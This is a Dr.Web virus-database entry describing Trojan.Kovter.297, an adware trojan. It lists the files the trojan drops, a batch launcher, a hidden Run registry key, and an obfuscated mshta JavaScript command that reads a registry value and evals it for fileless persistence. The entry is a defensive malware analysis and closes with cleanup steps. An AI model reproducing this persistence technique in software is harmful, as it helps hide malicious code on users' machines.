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Trojan.Kovter.297

Added to the Dr.Web virus database: 2016-05-31

Virus description added:

SHA1:

  • aef75ada634aa2b2447a3a6502645b74b1e9e018

A detection of the Trojan.MulDrop6.42771 dropper Trojan that uses Trojan.Kovter.118 as its payload. Trojan.Kovter can be labeled as an adware Trojan because it runs several windows of Microsoft Internet Explorer simultaneously, visits websites specified by virus makers and generates traffic for them by following advertising links and banners. Therefore, attackers make money on affiliate programs and advertisers.

It creates the following files at launching:

  • C:\Users\<username>\AppData\Local\ea3e65
  • C:\Users\<username>\AppData\Local\ea3e65\683149.2c1a69e
  • C:\Users\<username>\AppData\Local\ea3e65\283804.bat
  • C:\Users\<username>\AppData\Local\ea3e65\02962c.lnk

At that, the 02962c.lnk file refers to the C:\Users\<username>\AppData\Local\ea3e65\283804.bat BATCH file that contains the following line:

start "" "C:\Users\<username>\AppData\Local\ea3e65\683149.2c1a69e"

Information about the INK file is recorded to the Windows system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"\0vhnwb" = "C:\Users\<username>\AppData\Local\ea3e65\02962c.lnk"

Name of the entry contains unreadable characters—thus, it cannot be displayed by the regedit program.

Then it creates two more files:

  • C:\Users\<username>\AppData\Roaming\01cd05\150b33.2c1a69e
  • C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c652e1.lnk

The INK file refers to C:\Users\<username>\AppData\Roaming\01cd05\150b33.2c1a69e

The 683149.2c1a69e and 50b33.2c1a69e files contain random data but both of them are appended with the same extension and are used as triggers to launch Trojan.Kovter.

Finally, the Trojan creates file associations in the system registry:

[HKCR\.2c1a69e]
@=”bf1570\0”
[HKCR\bf1570\shell\open\command]
@= 'mshta”javascript:qZ7sOhCI8q="EHHH";n7x=new ActiveXObject("WScript.Shell");DsJb4wGJs4="BtEe";j1ZSp8=n7x.RegRead("HKCU\\software\\isidaqnf\\amqoasyj");k7pfpsNfb="1beAz2j";eval(j1ZSp8);EHJ71gfGFX="2OxujZ1jpC";’

News about the Trojan

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

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